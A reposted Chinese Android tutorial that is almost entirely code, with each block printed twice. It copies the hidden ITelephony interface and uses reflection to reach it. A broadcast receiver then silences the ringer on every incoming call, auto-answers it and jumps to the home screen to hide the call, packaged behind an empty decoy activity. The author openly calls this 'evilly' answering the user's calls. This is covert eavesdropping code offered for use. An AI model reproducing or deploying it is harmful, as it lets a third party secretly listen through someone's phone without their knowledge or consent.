Android 电话的反射调用机制实现静默接听电话

来源:互联网 发布:星宇周晓萍老公知乎 编辑:程序博客网 时间:2024/05/16 09:51
首先 建一个工程


insertTel


 


建一个com.android.internal.telephony的包


把系统的源码里的ITelephony.aidl拷贝进来


如下


ITelephony.aidl


view plaincopy to clipboardprint?/* 
 * Copyright (C) 2007 The Android Open Source Project 
 * 
 * Licensed under the Apache License, Version 2.0 (the "License"); 
 * you may not use this file except in compliance with the License. 
 * You may obtain a copy of the License at 
 * 
 *      http://www.apache.org/licenses/LICENSE-2.0 
 * 
 * Unless required by applicable law or agreed to in writing, software 
 * distributed under the License is distributed on an "AS IS" BASIS, 
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
 * See the License for the specific language governing permissions and 
 * limitations under the License. 
 */  
package com.android.internal.telephony;  
import android.os.Bundle;  
import java.util.List;  
/** 
 * Interface used to interact with the phone.  Mostly this is used by the 
 * TelephonyManager class.  A few places are still using this directly. 
 * Please clean them up if possible and use TelephonyManager insteadl. 
 * 
 * {@hide} 
 */  
interface ITelephony {  
    /** 
     * Dial a number. This doesn't place the call. It displays 
     * the Dialer screen. 
     * @param number the number to be dialed. If null, this 
     * would display the Dialer screen with no number pre-filled. 
     */  
    void dial(String number);  
    /** 
     * Place a call to the specified number. 
     * @param number the number to be called. 
     */  
    void call(String number);  
    /** 
     * If there is currently a call in progress, show the call screen. 
     * The DTMF dialpad may or may not be visible initially, depending on 
     * whether it was up when the user last exited the InCallScreen. 
     * 
     * @return true if the call screen was shown. 
     */  
    boolean showCallScreen();  
    /** 
     * Variation of showCallScreen() that also specifies whether the 
     * DTMF dialpad should be initially visible when the InCallScreen 
     * comes up. 
     * 
     * @param showDialpad if true, make the dialpad visible initially, 
     *                    otherwise hide the dialpad initially. 
     * @return true if the call screen was shown. 
     * 
     * @see showCallScreen 
     */  
    boolean showCallScreenWithDialpad(boolean showDialpad);  
    /** 
     * End call or go to the Home screen 
     * 
     * @return whether it hung up 
     */  
    boolean endCall();  
    /** 
     * Answer the currently-ringing call. 
     * 
     * If there's already a current active call, that call will be 
     * automatically put on hold.  If both lines are currently in use, the 
     * current active call will be ended. 
     * 
     * TODO: provide a flag to let the caller specify what policy to use 
     * if both lines are in use.  (The current behavior is hardwired to 
     * "answer incoming, end ongoing", which is how the CALL button 
     * is specced to behave.) 
     * 
     * TODO: this should be a oneway call (especially since it's called 
     * directly from the key queue thread). 
     */  
    void answerRingingCall();  
    /** 
     * Silence the ringer if an incoming call is currently ringing. 
     * (If vibrating, stop the vibrator also.) 
     * 
     * It's safe to call this if the ringer has already been silenced, or 
     * even if there's no incoming call.  (If so, this method will do nothing.) 
     * 
     * TODO: this should be a oneway call too (see above). 
     *       (Actually *all* the methods here that return void can 
     *       probably be oneway.) 
     */  
    void silenceRinger();  
    /** 
     * Check if we are in either an active or holding call 
     * @return true if the phone state is OFFHOOK. 
     */  
    boolean isOffhook();  
    /** 
     * Check if an incoming phone call is ringing or call waiting. 
     * @return true if the phone state is RINGING. 
     */  
    boolean isRinging();  
    /** 
     * Check if the phone is idle. 
     * @return true if the phone state is IDLE. 
     */  
    boolean isIdle();  
    /** 
     * Check to see if the radio is on or not. 
     * @return returns true if the radio is on. 
     */  
    boolean isRadioOn();  
    /** 
     * Check if the SIM pin lock is enabled. 
     * @return true if the SIM pin lock is enabled. 
     */  
    boolean isSimPinEnabled();  
    /** 
     * Cancels the missed calls notification. 
     */  
    void cancelMissedCallsNotification();  
    /** 
     * Supply a pin to unlock the SIM.  Blocks until a result is determined. 
     * @param pin The pin to check. 
     * @return whether the operation was a success. 
     */  
    boolean supplyPin(String pin);  
    /** 
     * Handles PIN MMI commands (PIN/PIN2/PUK/PUK2), which are initiated 
     * without SEND (so <code>dial</code> is not appropriate). 
     * 
     * @param dialString the MMI command to be executed. 
     * @return true if MMI command is executed. 
     */  
    boolean handlePinMmi(String dialString);  
    /** 
     * Toggles the radio on or off. 
     */  
    void toggleRadioOnOff();  
    /** 
     * Set the radio to on or off 
     */  
    boolean setRadio(boolean turnOn);  
    /** 
     * Request to update location information in service state 
     */  
    void updateServiceLocation();  
    /** 
     * Enable location update notifications. 
     */  
    void enableLocationUpdates();  
    /** 
     * Disable location update notifications. 
     */  
    void disableLocationUpdates();  
    /** 
     * Enable a specific APN type. 
     */  
    int enableApnType(String type);  
    /** 
     * Disable a specific APN type. 
     */  
    int disableApnType(String type);  
    /** 
     * Allow mobile data connections. 
     */  
    boolean enableDataConnectivity();  
    /** 
     * Disallow mobile data connections. 
     */  
    boolean disableDataConnectivity();  
    /** 
     * Report whether data connectivity is possible. 
     */  
    boolean isDataConnectivityPossible();  
    Bundle getCellLocation();  
    /** 
     * Returns the neighboring cell information of the device. 
     */  
      
     int getCallState();  
     int getDataActivity();  
     int getDataState();  
    /** 
     * Returns the current active phone type as integer. 
     * Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE 
     * and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE 
     */  
    int getActivePhoneType();  
    /** 
     * Returns the CDMA ERI icon index to display 
     */  
    int getCdmaEriIconIndex();  
    /** 
     * Returns the CDMA ERI icon mode, 
     * 0 - ON 
     * 1 - FLASHING 
     */  
    int getCdmaEriIconMode();  
    /** 
     * Returns the CDMA ERI text, 
     */  
    String getCdmaEriText();  
    /** 
     * Returns true if CDMA provisioning needs to run. 
     */  
    boolean getCdmaNeedsProvisioning();  
    /** 
      * Returns the unread count of voicemails 
      */  
    int getVoiceMessageCount();  
    /** 
      * Returns the network type 
      */  
    int getNetworkType();  
      
    /** 
     * Return true if an ICC card is present 
     */  
    boolean hasIccCard();  
}  
/*
 * Copyright (C) 2007 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.android.internal.telephony;
import android.os.Bundle;
import java.util.List;
/**
 * Interface used to interact with the phone.  Mostly this is used by the
 * TelephonyManager class.  A few places are still using this directly.
 * Please clean them up if possible and use TelephonyManager insteadl.
 *
 * {@hide}
 */
interface ITelephony {
    /**
     * Dial a number. This doesn't place the call. It displays
     * the Dialer screen.
     * @param number the number to be dialed. If null, this
     * would display the Dialer screen with no number pre-filled.
     */
    void dial(String number);
    /**
     * Place a call to the specified number.
     * @param number the number to be called.
     */
    void call(String number);
    /**
     * If there is currently a call in progress, show the call screen.
     * The DTMF dialpad may or may not be visible initially, depending on
     * whether it was up when the user last exited the InCallScreen.
     *
     * @return true if the call screen was shown.
     */
    boolean showCallScreen();
    /**
     * Variation of showCallScreen() that also specifies whether the
     * DTMF dialpad should be initially visible when the InCallScreen
     * comes up.
     *
     * @param showDialpad if true, make the dialpad visible initially,
     *                    otherwise hide the dialpad initially.
     * @return true if the call screen was shown.
     *
     * @see showCallScreen
     */
    boolean showCallScreenWithDialpad(boolean showDialpad);
    /**
     * End call or go to the Home screen
     *
     * @return whether it hung up
     */
    boolean endCall();
    /**
     * Answer the currently-ringing call.
     *
     * If there's already a current active call, that call will be
     * automatically put on hold.  If both lines are currently in use, the
     * current active call will be ended.
     *
     * TODO: provide a flag to let the caller specify what policy to use
     * if both lines are in use.  (The current behavior is hardwired to
     * "answer incoming, end ongoing", which is how the CALL button
     * is specced to behave.)
     *
     * TODO: this should be a oneway call (especially since it's called
     * directly from the key queue thread).
     */
    void answerRingingCall();
    /**
     * Silence the ringer if an incoming call is currently ringing.
     * (If vibrating, stop the vibrator also.)
     *
     * It's safe to call this if the ringer has already been silenced, or
     * even if there's no incoming call.  (If so, this method will do nothing.)
     *
     * TODO: this should be a oneway call too (see above).
     *       (Actually *all* the methods here that return void can
     *       probably be oneway.)
     */
    void silenceRinger();
    /**
     * Check if we are in either an active or holding call
     * @return true if the phone state is OFFHOOK.
     */
    boolean isOffhook();
    /**
     * Check if an incoming phone call is ringing or call waiting.
     * @return true if the phone state is RINGING.
     */
    boolean isRinging();
    /**
     * Check if the phone is idle.
     * @return true if the phone state is IDLE.
     */
    boolean isIdle();
    /**
     * Check to see if the radio is on or not.
     * @return returns true if the radio is on.
     */
    boolean isRadioOn();
    /**
     * Check if the SIM pin lock is enabled.
     * @return true if the SIM pin lock is enabled.
     */
    boolean isSimPinEnabled();
    /**
     * Cancels the missed calls notification.
     */
    void cancelMissedCallsNotification();
    /**
     * Supply a pin to unlock the SIM.  Blocks until a result is determined.
     * @param pin The pin to check.
     * @return whether the operation was a success.
     */
    boolean supplyPin(String pin);
    /**
     * Handles PIN MMI commands (PIN/PIN2/PUK/PUK2), which are initiated
     * without SEND (so <code>dial</code> is not appropriate).
     *
     * @param dialString the MMI command to be executed.
     * @return true if MMI command is executed.
     */
    boolean handlePinMmi(String dialString);
    /**
     * Toggles the radio on or off.
     */
    void toggleRadioOnOff();
    /**
     * Set the radio to on or off
     */
    boolean setRadio(boolean turnOn);
    /**
     * Request to update location information in service state
     */
    void updateServiceLocation();
    /**
     * Enable location update notifications.
     */
    void enableLocationUpdates();
    /**
     * Disable location update notifications.
     */
    void disableLocationUpdates();
    /**
     * Enable a specific APN type.
     */
    int enableApnType(String type);
    /**
     * Disable a specific APN type.
     */
    int disableApnType(String type);
    /**
     * Allow mobile data connections.
     */
    boolean enableDataConnectivity();
    /**
     * Disallow mobile data connections.
     */
    boolean disableDataConnectivity();
    /**
     * Report whether data connectivity is possible.
     */
    boolean isDataConnectivityPossible();
    Bundle getCellLocation();
    /**
     * Returns the neighboring cell information of the device.
     */
    
     int getCallState();
     int getDataActivity();
     int getDataState();
    /**
     * Returns the current active phone type as integer.
     * Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE
     * and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE
     */
    int getActivePhoneType();
    /**
     * Returns the CDMA ERI icon index to display
     */
    int getCdmaEriIconIndex();
    /**
     * Returns the CDMA ERI icon mode,
     * 0 - ON
     * 1 - FLASHING
     */
    int getCdmaEriIconMode();
    /**
     * Returns the CDMA ERI text,
     */
    String getCdmaEriText();
    /**
     * Returns true if CDMA provisioning needs to run.
     */
    boolean getCdmaNeedsProvisioning();
    /**
      * Returns the unread count of voicemails
      */
    int getVoiceMessageCount();
    /**
      * Returns the network type
      */
    int getNetworkType();
    
    /**
     * Return true if an ICC card is present
     */
    boolean hasIccCard();
}
 


然后建一个包


zy.phone


 


下面做反射调用


PhoneUtils.java


view plaincopy to clipboardprint?package zy.phone;    
    
import java.lang.reflect.Field;    
import java.lang.reflect.Method;    
import android.telephony.TelephonyManager;    
import android.util.Log;    
    
public class PhoneUtils {    
    /**  
     * 从TelephonyManager中实例化ITelephony,并返回  
     */    
    static public com.android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception {    
        Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony");    
        getITelephonyMethod.setAccessible(true);//私有化函数也能使用     
        return (com.android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr);    
    }    
        
    static public void printAllInform(Class clsShow) {      
        try {      
            // 取得所有方法       
            Method[] hideMethod = clsShow.getDeclaredMethods();      
            int i = 0;      
            for (; i < hideMethod.length; i++) {      
                Log.e("method name", hideMethod[i].getName());      
            }      
            // 取得所有常量       
            Field[] allFields = clsShow.getFields();      
            for (i = 0; i < allFields.length; i++) {      
                Log.e("Field name", allFields[i].getName());      
            }      
        } catch (SecurityException e) {      
            // throw new RuntimeException(e.getMessage());       
            e.printStackTrace();      
        } catch (IllegalArgumentException e) {      
            // throw new RuntimeException(e.getMessage());       
            e.printStackTrace();      
        } catch (Exception e) {      
            // TODO Auto-generated catch block       
            e.printStackTrace();      
        }      
    }      
}    
package zy.phone;  
  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import android.telephony.TelephonyManager;  
import android.util.Log;  
  
public class PhoneUtils {  
    /** 
     * 从TelephonyManager中实例化ITelephony,并返回 
     */  
    static public com.android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception {  
        Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony");  
        getITelephonyMethod.setAccessible(true);//私有化函数也能使用  
        return (com.android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr);  
    }  
      
    static public void printAllInform(Class clsShow) {    
        try {    
            // 取得所有方法    
            Method[] hideMethod = clsShow.getDeclaredMethods();    
            int i = 0;    
            for (; i < hideMethod.length; i++) {    
                Log.e("method name", hideMethod[i].getName());    
            }    
            // 取得所有常量    
            Field[] allFields = clsShow.getFields();    
            for (i = 0; i < allFields.length; i++) {    
                Log.e("Field name", allFields[i].getName());    
            }    
        } catch (SecurityException e) {    
            // throw new RuntimeException(e.getMessage());    
            e.printStackTrace();    
        } catch (IllegalArgumentException e) {    
            // throw new RuntimeException(e.getMessage());    
            e.printStackTrace();    
        } catch (Exception e) {    
            // TODO Auto-generated catch block    
            e.printStackTrace();    
        }    
    }    
}   


 


然后用一个BroadcastReceiver监听电话


 


邪恶地用接电话接用户电话


tp.java


view plaincopy to clipboardprint?package zy.phone;  
import java.util.Timer;  
import java.util.TimerTask;  
import android.app.Service;  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.os.RemoteException;  
import android.telephony.TelephonyManager;  
import android.util.Log;  
public class tp extends BroadcastReceiver {  
    Context mcontext;  
    TimerTask task = new TimerTask() {  
        public void run() {  
            Intent i = new Intent(Intent.ACTION_MAIN);  
            i.addCategory(Intent.CATEGORY_HOME);  
            i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
            mcontext.startActivity(i);  
            Log.i("bbb", "bbb");  
        }  
    };  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        // TODO Auto-generated method stub   
        mcontext = context;  
        TelephonyManager tm = (TelephonyManager) context  
                .getSystemService(Service.TELEPHONY_SERVICE);  
        switch (tm.getCallState()) {  
        case TelephonyManager.CALL_STATE_RINGING:// 来电响铃   
            try {  
            //  String phoneNumber = intent.getStringExtra("incoming_number");   
                  
                    PhoneUtils.getITelephony(tm).silenceRinger();// 静铃   
                    PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听   
                    Timer timer = new Timer();  
                    timer.schedule(task, 300);  
                  
            } catch (RemoteException e) {  
                // TODO Auto-generated catch block   
                e.printStackTrace();  
            } catch (Exception e) {  
                // TODO Auto-generated catch block   
                e.printStackTrace();  
            }// 挂断   
            break;// 响铃   
        case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出   
            break;// 摘机   
        case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断   
            break;// 挂机   
        }  
    }  
}  
package zy.phone;
import java.util.Timer;
import java.util.TimerTask;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.RemoteException;
import android.telephony.TelephonyManager;
import android.util.Log;
public class tp extends BroadcastReceiver {
Context mcontext;
TimerTask task = new TimerTask() {
public void run() {
Intent i = new Intent(Intent.ACTION_MAIN);
i.addCategory(Intent.CATEGORY_HOME);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mcontext.startActivity(i);
Log.i("bbb", "bbb");
}
};
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
mcontext = context;
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Service.TELEPHONY_SERVICE);
switch (tm.getCallState()) {
case TelephonyManager.CALL_STATE_RINGING:// 来电响铃
try {
// String phoneNumber = intent.getStringExtra("incoming_number");

PhoneUtils.getITelephony(tm).silenceRinger();// 静铃
PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听
Timer timer = new Timer();
timer.schedule(task, 300);

} catch (RemoteException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}// 挂断
break;// 响铃
case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出
break;// 摘机
case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断
break;// 挂机
}
}
}
 


 


这样就对所有电话都接了


 


然后主包就是一个什么都没有的测试Activity


包zy.test


test.java


view plaincopy to clipboardprint?package zy.test;  
import android.app.Activity;  
import android.os.Bundle;  
public class test extends Activity {  
    /** Called when the activity is first created. */  
    @Override  
    public void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.main);  
    }  
}  
package zy.test;
import android.app.Activity;
import android.os.Bundle;
public class test extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
    }



 


 


最后记得再AndroidManifest.xml里加上BroadcastReceiver和权限声明


view plaincopy to clipboardprint?<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"  
      package="zy.test"  
      android:versionCode="1"  
      android:versionName="1.0">  
    <application android:icon="@drawable/icon" android:label="@string/app_name">  
        <activity android:name=".test"  
                  android:label="@string/app_name">  
            <intent-filter>  
                <action android:name="android.intent.action.MAIN" />  
                <category android:name="android.intent.category.LAUNCHER" />  
            </intent-filter>  
        </activity>  
        <receiver android:name="zy.phone.tp"  android:priority="10000" android:permission="android.permission.READ_PHONE_STATE">  
            <intent-filter>  
                <action android:name="android.intent.action.PHONE_STATE" />  
            </intent-filter>  
        </receiver>  
          
    </application>  
     <uses-sdk android:minSdkVersion="3" />  
      
    <uses-permission android:name="android.permission.INTERNET"/>  
    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />    
      
</manifest>   
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="zy.test"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".test"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
<receiver android:name="zy.phone.tp"  android:priority="10000" android:permission="android.permission.READ_PHONE_STATE">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>

</application>
<uses-sdk android:minSdkVersion="3" />

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />  
    
</manifest>  


 


OK 大功告成
原创粉丝点击